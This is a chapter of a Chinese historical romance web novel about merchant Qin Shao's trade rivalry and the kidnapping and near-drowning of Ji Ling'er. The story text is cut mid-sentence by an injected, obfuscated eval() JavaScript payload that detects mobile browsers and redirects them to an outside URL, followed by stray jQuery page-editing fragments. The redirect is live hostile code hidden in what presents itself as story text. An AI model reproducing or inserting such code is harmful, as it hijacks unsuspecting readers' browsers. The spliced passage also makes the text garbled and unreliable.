书房里，姚怀义气得指爹骂娘：“往关外的商路是咱们祖上三代闯出来的，雪原的冻土里埋着先人的骨头，如今鲁商要抢这条路，真是脸皮比麂子皮还厚！”
秦劭忖着他的话，平静开口：“他们与辽南仅隔一片海，海路走通自是天然的便利，有此心思无可厚非。做生意逐利而行，关外的商户农户愿把东西转卖给鲁商，根上是咱们里头出了问题。”
关外的皮货，人参，东珠，皆是各地富商争相追捧的珍品，河东商行控制关东货南销多年，早有旁人眼红心热，鲁商下手乃早晚。
姚怀义明白其中道理，只是咽不下这口气，更揪心商行日后前程。
“先是盐业改制，后是鲁商入局，桩桩指着咱们不如别的地界占地势便利，他娘的！难不成早些年咱们靠马帮驼队开道是因为地势便利。”
秦劭客观接道：“沟通南北，算是河东府天然的地理优势。”
姚怀义：......
“好一派风雨不动安如山，不愧是大当家。”
他惯常用这话揶揄，秦劭见惯了，只道：“天下商路，本就逆水行舟，没什么值得慌的，你前头说路上遇了盗匪？”
“是，回来路上遇山匪劫财，亏得我雇的全是精壮镖师，才保得货银周全，就是人伤了几个，连我胳膊上也挨一刀。”姚怀义说着撩起袖口。
他回来直奔秦府，尚未来得及往家回，胳膊是路上包扎的，血凝了一片，衣袖僵硬地贴在伤口上。
秦劭眉头一拧，立刻唤阿吉取来金疮药和干净布巾来。
姚怀义顺手一撩，没想小题大做，摆手道：“这点伤死不了人，我回去再处理。”
秦劭没由他，示意阿吉照旧，接问：“确定是山匪？”
姚怀义：“是山匪不假，但我总觉这事和鲁商那起子人脱不了干系，八成是他们勾连山匪想让我们知难而退。”
秦劭不置一词，待阿吉给姚怀义包扎完毕，才缓缓道：“鲁地的票号出问题了？”
外出行商，照常银钱会在当地票号兑付，乃落地为安，姚怀义懂规矩却冒险运银两回来，必事出有因。
“说到这个更气人，咱们在鲁地的票号本就只有一家，偏巧被官府以账目不清为由查封了，我去打听，只说临时清查，过几日就揭封子，卡节骨眼上清查，说没猫腻狗都不信！”
“同时动用官匪两道，看来是铁心同我们较量一场了。”秦劭沉静的神色终于荡起波澜，一下一下拨着扳指，“我亲自去会会。”
...
季灵儿带着玉秀在布庄选料子量制新衣，又到首饰铺，让她自己挑合心意的。
玉秀惶恐地缩着手，“奴婢哪配的上挑这些。”
季灵儿：“没什么配不上的，你和秦勉的亲事已由大爷做主定下，成亲后是正经的秦家三少夫人，日后只管抬起头来做人。”
玉秀眼眶一热，哽咽地说不出话。
自出事后，人前人后哪个不嘲笑玉秀恬不知耻攀高枝，连自家小姐知晓后都气得当场甩了她一巴掌，骂她不知廉耻，季灵儿却同她说“抬起头来做人。”
而且此事能顺利，多半也因着季灵儿的缘故。
玉秀深深垂着头，一滴泪砸在手背上，千言万语磨在嗓子口，终究说不出一句。
抛开旁的不谈，玉秀能得偿所愿，季灵儿发自内心为她欢喜，见她模样以为是一时难为情，未太在意。
随后挑了支玲珑攒心海棠簪在她鬓边比看，笑道：“采买也是大爷属意，专给拨了银子办的，你尽管挑，不必为他省着......这支簪子配刚才那件藕荷色的料子很相宜，还有那对耳坠......你再挑一挑，一并包了。”
不自掏腰包还能耍阔气，季灵儿可是过足了瘾。
看时辰差不多，两人准备回府，马车行至半途，玉秀忽然撩开车帘，神色惊惶道：“那人，那人好像我家小姐！”
季灵儿探出脑袋，顺着她指的方向望去，不远处小摊前有个轻纱覆面的女子，身形侧脸与宋家小姐极为相似。
她如何会在此处？
正好奇，那女子似察觉视线，回首张望。
季灵儿虽只见过宋芮宁两面，但近距离端详过她的模样，看到面纱未遮盖的眉眼，几乎可以断定是她。
她真的回来了。
不祥的预感掠过心头，扒在窗沿的手猛地收紧，“停车。”
马车骤停，那名女子已离了摊前，沿街前行，然后转入窄巷。
季灵儿耐不住好奇跃下马车，想跟去弄清楚，玉秀下意识拉住她袖角。
“兴许，兴许是奴婢看错了。”
“那更要弄清楚了。”季灵儿眼皮跳得厉害，让她守在原地，自己快步跟上去，转眼便拐入巷口。
巷内幽深曲折，不见行人，只闻得外街传来的嘈杂和深处零星犬吠，季灵儿走过一段停下脚步，后知后觉意识到不对。
她都能认出，玉秀怎可能看错，认出来，故意告诉她，却又改口劝她......委实太矛盾。
经验告诉她此中有诈，心口突地一紧，倒退两步，转身往巷口奔去，眼见快跑出去，后脑勺传来剧痛，然后便失了意识。
...
季灵儿再睁眼时，双手反绑于身后，全身被麻绳束缚，蜷缩裹在麻袋里，嘴巴塞着一团腥臭的布，由布条固定，喉咙干哑，全靠鼻腔喘息。
视线受阻，她凭借颠簸和车轮滚动声猜测自己身在行进的马车上。
尝试挪动，麻袋地方窄小，粗糙的纹理磨着脸颊，绳子紧得勒进皮肉，稍一挣动便火辣作痛。
她十岁孤身跟着商队进入关内，无处可去，和乞丐一起睡城隍庙，沿街讨饭时被眼尖的人贩子相中，连蒙带骗拐她去窑子，路上怕她逃，也是这么绑着的。
不过人贩子要保证货物完好，用的是布条，绑的紧但不伤皮肉，眼下......季灵儿借着昏沉的光看脚腕磨出的血痕，在心里默默叹了口气。
这次虽不知是谁绑了她，要带她去何处，但可以确定，绑她的人怨气很深，此遭恐凶多吉少。
也是，人不能总走狗屎运。
十岁的她接客头一日恰逢嫖客的妻子找来，对方见她是个女娃娃，又哭的可怜兮兮，心一软，不仅把偷腥的丈夫揪回去，还花钱赎了她，带她回去当学徒，教她识字，算账，做绣活。
季灵儿感念她大恩，拜了师父，随了对方的姓，发誓要孝敬她一辈子。
后来师父死了。
她想为师父讨回公道却不能，甚至没用到连师父的遗物都要不回来，险些随师父去了。
可上天又一次眷顾她，让她得遇好心人，捡回一条命，拿回遗物，到清心观安身，才有了后来的生活......
命运兜转，如今又来找她追索。
季灵儿已在反复无常的磋磨里悟到乐趣，上天爱折磨人大过直接索要人命，所以一次次将她推入绝境，又施舍般留一线生机。
没到亲眼见阎王的那一刻，她不会认命。
咬紧牙关，借着车身颠簸的节奏缓缓挪动身躯，让血脉流通，也竭力贴近车厢，支起耳朵听外头动静。
车马声杂沓，冷风呼啸掠过树林，没有人语，应是出了城。
等隐约有水声传来时，马车停了。
一股强劲力量将她拖出马车，不留情地摔在地上。还好她有防备梗直了脖子，没让脑袋着地，但肩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570916|184104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胛骨撞上硬物，痛得倒抽冷气。
吃痛声传出麻袋，有一声音唯唯诺诺问：“公子，人好像醒了。”
“醒了便醒了，又跑不出来！”
接着落下的冷笑声十分熟悉，季灵儿正辨认，腰上被人踹了一脚，疼得她想骂人，可惜张不开嘴。
可恶的人话倒是多：“麻袋口绑上石头再扔！我就不信姓秦的还能再救她一次。”
季灵儿：“！”
绑石头......这是要给她往水里扔？
麻袋收口处已有人动作，季灵儿死命挣着手腕，想把手从绳索中挣脱。
这么扔水里，她可真要见阎王了！
绳结系的结实，皮肉磨破，麻绳反倒渗入血丝，火辣辣地疼，想挣脱是不能了。转而借力蹬腿，嗯嗯啊啊地引外头人注意。
只要放她出去，总能争取到机会。
可外面那人铁了心要他命，见她挣扎又踹两脚在她背上，恶狠狠催道：“动作快点！”
很快，裹在麻袋里的季灵儿连同石头被拖到水边，身下腾空又坠落，河水迅速灌透麻袋，冰冷包裹周身，最终冲破她的屏息涌入鼻腔，窒息感从咽喉开始，撕扯肺腑。
又一次失去意识前，两汪清泪混入河水。
季灵儿只懊悔自己贪财又贪图享乐，没早些帮师父完成心愿。若有重来，她一定不敢偷懒了！
...
漫天阴云遮蔽月光，夜风低诉无休，更声迭换再三，鎏金香炉里残烟将烬，秦劭侧身坐在踏床上，不错眼地守着榻上昏迷的人儿。
呼吸轻得几乎察觉不到，胸口起伏微弱且断续不定，仿佛随时会断绝。
人虽被救回来，服了汤药，但郎中说尚未完全脱离危险，若天明还醒不过来，当真无力回天了。
秦劭捧起她放在被衾外的手，避开手腕包扎处，不住往上呵气，感受指尖冰凉渐渐回暖，心里期盼的火苗才不至于熄灭。
他年少随商队出关，没少在刀光和天灾里求生，称得上恐惧的，唯有初次见商队伙计断头喋血之时。
眼下不仅恐惧，还心痛，懊悔，甚至生出恨意，最折磨的，是只能空等却无能为力。
更漏声声，点滴皆是凌迟。
“灵儿，是我不该大意。”秦劭将她的手裹进掌心，轻轻抵在额头，低声喃喃。
稍一阖眸，她笑起来的模样便闯进脑海，眉眼弯弯，娇俏灵动，无论是刻意讨好，还是得意炫耀，抑或假装无辜，都暗暗藏有狡黠。
他总觉得小姑娘心思浅，藏不住的小聪明就像初春的山峦，她身在其中不察枝条抽芽，旁观者远看，一眼望尽翠绿。
认真回想，自己对她的情感何尝不是“身在其中而不察”？想不明白受人之托的照拂，自何时开始掺了私心。
时值当下，他已不敢想若她真的醒不过来会怎样。
一滴泪从眼角滑落，滴在被衾上，消失不见。
直到天边泛白，秦劭仍撑着没有合眼，心头燃烧的火苗随着探进房间的光亮加深，渐渐微弱下去，拉着他的心，一点点往深渊沉。
他不死心，起身倒一杯温水，指尖蘸着水，抹在她干裂苍白的唇上，一遍又一遍，直到水痕渗入，润出极淡的血色。
似乎感受到动作，她的唇微不可察地颤了颤。
紧接着，搁在被衾外的手指也缓缓勾动。
秦劭混沌的双眼倏然清明，屏住呼吸，又唤：“灵儿？”
被声音牵引，长睫颤轻微颤了颤，艰难掀起一道缝隙，涣散眸光慢慢聚拢，呆呆落在他脸上。
疑惑，茫然。
良久，一双大眼睛眨巴两下，唇瓣拉开小口，气若游丝：“你在唤我？”